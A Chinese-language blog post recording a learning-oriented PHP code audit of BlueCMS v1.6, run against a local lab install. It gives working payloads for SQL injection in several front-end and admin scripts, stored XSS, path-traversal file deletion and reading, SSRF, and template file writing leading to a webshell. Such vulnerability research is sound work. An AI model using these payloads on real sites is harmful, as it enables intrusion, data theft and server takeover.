PHP代码审计——Bluecms v1.6

初学 PHP 代码审计,先对一些简单 CMS 审计,这些经典版几乎可以覆盖全方位漏洞库,作为初步学习较合适,有能力后续再对 MVC模式 - 国内统治级框架 ThinkPHP 和 Laravel 进行深入学习
前言
审计思路,写在最前面
- 80/20法则:80%的漏洞存在于20%的代码中(用户输入处理模块)
- 先黑后白:先黑盒测试功能点,再针对性审计代码
- 漏洞优先级:优先检查SQL注入、文件上传、RCE等高风险漏洞模式
- 记录跳过点:对非核心模块做简要记录,后续按需深入
聚焦点
- 入口层:用户输入点(
$_GET
/$_POST
) - 处理层:危险函数调用(SQL/文件/命令)
- 输出层:未过滤的输出点(XSS风险)
- 框架层:全局机制(路由/过滤/会话)
理解框架/路由极为重要,这关乎后续能不能读懂程序逻辑,快速定位漏洞
全局分析
版本:v1.6
环境:Apache2.4.39+MYSQL5.7.56+PHP5.3.29

项目结构

bluecms v1.6 是一款非常老版的 cms,他的路由模式是文件即路由,或者说入口文件非常多,根目录下的每个 PHP 文件直接对应一个访问入口,没有前置控制器。前台页面都放在项目根目录,可以看到它缺乏一个统一的安全入口点。
先照例跟踪前台主页 index.php,index.php 首先进行了常量定义和引入依赖,common.inc.php 是全局公共库文件,index.fun.php 则封装了首页相关的函数
1 | define("IN_BLUE",true); |
然后,程序几乎一股脑将所有工作:SQL 查询、数组组装、URL 重写、缓存调用等,都写入在 index.php 中,这也是 php 老框架的特点

看 include/common.inc.php,初始化时会对外部输入做一层 addslashes 转义,但仅过滤了四种全局变量,像 $_SESSION
、$_SERVER
都在过滤之外,可以看出初始化中并没有对外部输入过滤的很死,除此之外,没有再在其他公共库文件中找到输入层过滤,这意味着如果业务代码中没有继续对输入做很好的过滤,那么很有可能会产生漏洞
1 | if(!get_magic_quotes_gpc()) |
继续往下,就是做很多初始化工作,接着看一下文件上传函数的封装,include/upload.class.php#img_upload,先定义路径变量,然后通过 filetype 比较来确定图片类型,这里很显然能够 MIMI 绕过,然后定义文件名变量,调用的两个公共函数,我们跟进看看
1 | private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg'); |
include/upload.class.php#create_tempname 就是单纯生成随机数,重点在 include/upload.class.php#get_type,取出最后一个点后字符,并将其与白名单进行比较,取出的字符就是系统写入文件的指定后缀
1 | function create_tempname(){ |
最后通过 include/upload.class.php#uploading 直接上传文件,文件上传这块逻辑并没有对文件内容做过滤,但也不能直接绕过白名单拓展名校验上传一句话木马
1 | function uploading($tempfile, $target){ |
后台逻辑处理和公共库文件与前台也大差不差,不继续深入
源码审计
前台多处SQL注入
一、bluecms/ad_js.php
第十行仅对代码进行 trim()
前后空白符(%20、\t、\n、\r、\0、\v)
删除,直接拼接入字符串中并进行 SQL
查询

内部函数没有进行过滤,一路畅通无阻直到执行查询


ad_js.php
在最开始引用了公共函数库,在后续代码执行前对输入的特殊字符进行转义,但我们这里是数值型注入,并不受影响,同时发现这里仅对四种全局变量进行了过滤,后续字符串注入由此发现
1 | require_once dirname(__FILE__) . '/include/common.inc.php'; |
根据表结构得知为 7 列
1 | mysql> DESCRIBE blue_ad; |
Payoad
1 | /bluecms/ad_js.php?ad_id=-1 union select 1,2,3,4,5,6,version() |

二、
在 bluecms/guest_book.php
处存在字符型注入

关键代码如下
1 | $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; |
这里的全局变量 $online_ip
是注入点,审计这个洞考验了对项目库文件的了解程度,该变量在全局初始化文件bluecms/include/common.inc.php
中被定义

跟进 bluecms/include/common.func.php#getip()
,可以看到这里通过getenv
来获取HTTP
请求头,没有经过上面的四种全局变量过滤,那么我们通过HTTP
请求头注入字符串,是否就能不被转义,完成注入呢

这里碰到一个问题,我的Apache
无法正确解析 X_FORWORDED_FOR、X_FORWARDED
等请求头,可能需要调整httpd.conf
,这里直接使用 CLIENT_IP
解决
1 | POST /bluecms/guest_book.php HTTP/1.1 |

前台存储型XSS
漏洞位置为bluecms/user.php
两百多行,大部分参数都使用 htmlspecialchars
进行了转义,但发现 content、descript
两个参数并未直接进行转义处理

content
用公共库函数文件中的filter_data
做了正则替换,但仅仅匹配XSS
中个别关键词,换个标签直接绕过

payload
1 | <img src=x onerror=alert(1)> |

descript
参数则压根没做处理,直接XSS
即可

前台任意文件删除
bluecms/publish.php
存在任意文件删除漏洞

关键代码段如下
1 | elseif($act == 'del_pic') |
程序将传参与 BLUE_ROOT 拼接,即与 bluecms
根目录拼接,判断如果文件存在,则直接unlink
删除文件

在网站上级目录创建 1.txt

1 | http://192.168.43.169:8888/bluecms/publish.php?act=del_pic&id=../1.txt |
成功删除

后台存储型XSS
和前台一样写法导致的漏洞,不写了

后台多处SQL注入
一、
在 bluecms/admin/ad.php
发现SQL注入,这里也是因为对数值型查询处理不当导致的。

当通过全局函数文件进行 addslashes
全局过滤时,字符型暂时找不到绕过引号转义的方式,而数值型因为开发疏漏仍然存在注入
关键代码如下
1 | $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; |
Payload
1 | /bluecms/admin/ad.php?act=edit&ad_id=-1%20union%20select%201,version(),3,4,5,6,7 |

二、
在 bluecms/admin/admin_log.php
中存在SQL注入

关键代码如下,程序判断传参是否为数组,并将数组传参的值拼接入字符串中执行SQL
操作
1 | elseif($act == 'del'){ |
因为是数组,所以Payload
需要略作变形,这里无回显使用时间盲注形式来测试
1 | POST /bluecms/admin/admin_log.php HTTP/1.1 |
这里不知名原因sleep(1)
延迟20
秒,但稳定都是 20
秒

三、
在后台bluecms/admin/article.php
也存在SQL
盲注

关键代码如下
1 | elseif($act == 'del'){ |
这里正常了,sleep(2)
延迟两秒

四、
在bluecms/admin/nav.php
存在SQL

直接拼接传参做了SQL
查询
1 | $sql = "select * from ".table('navigate')." where navid = ".$_GET['navid']; |
Payload
1 | /bluecms/admin/nav.php?act=edit&navid=0%20union%20select%201,2,3,4,version(),6 |

bluecms/admin/model.php、bluecms/admin/ad_phone.php
疑似存在SQL
注入,但未测试出注入失败的原因
后台SSRF
在 bluecms/admin/us_setting.php
中发现SSRF
行为,即对外发起HTTP
请求,并利用gethostbyname
在解析失败时默认为127.0.0.1

关键代码段,该CMS
自己写了一个内置函数 us_open
1 | $uc_info = uc_open($uc_config['uc_api'].'/index.php?m=app&a=ucinfo', 500, '', '', 1, $uc_config['uc_ip']); |
跟进uc_oepn
,在第129
行时调用fsockopen
发起HTTP
请求,而输入可控,尽管必须http://
开头,仍然造成了SSRF

Payload
1 | POST /bluecms/admin/uc_setting.php HTTP/1.1 |

后台任意文件读取
在 bluecms/admin/tpl_manege.php
存在任意文件读取漏洞

在代码中可以发现fread()
中的$file
直接被拼接到字符串最后,该参数是外部可控的,并且读取后的内容会通过 template_assign
及 Smarty
模板渲染到前端,造成了文件内容的读取
1 | /bluecms/admin/tpl_manage.php?act=edit&tpl_name=../../index.php |

后台任意文件写入(RCE)
同样在 bluecms/admin/tpl_manege.php
存在任意文件写入漏洞

$tpl_name
可控,可以通过../../
形式覆盖或创建任意文件$tpl_content
也可控使得能做到自定义文件内容写入,bluecms/include/common.fun.php#deep_stripslashes
作用是去除转义反斜线,如\'
变为'
,相当于全局过滤 deep_addslashes
被抵消,当然仅仅写入一句话马也无需抵消
1 | POST /bluecms/admin/tpl_manage.php HTTP/1.1 |

后话
后话就是没有后话
- 标题: PHP代码审计——Bluecms v1.6
- 作者: Octopus
- 创建于 : 2025-06-11 20:10:28
- 更新于 : 2025-06-15 21:54:34
- 链接: https://redefine.ohevan.com/2025/06/11/PHP安全-代码审计学习记录/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。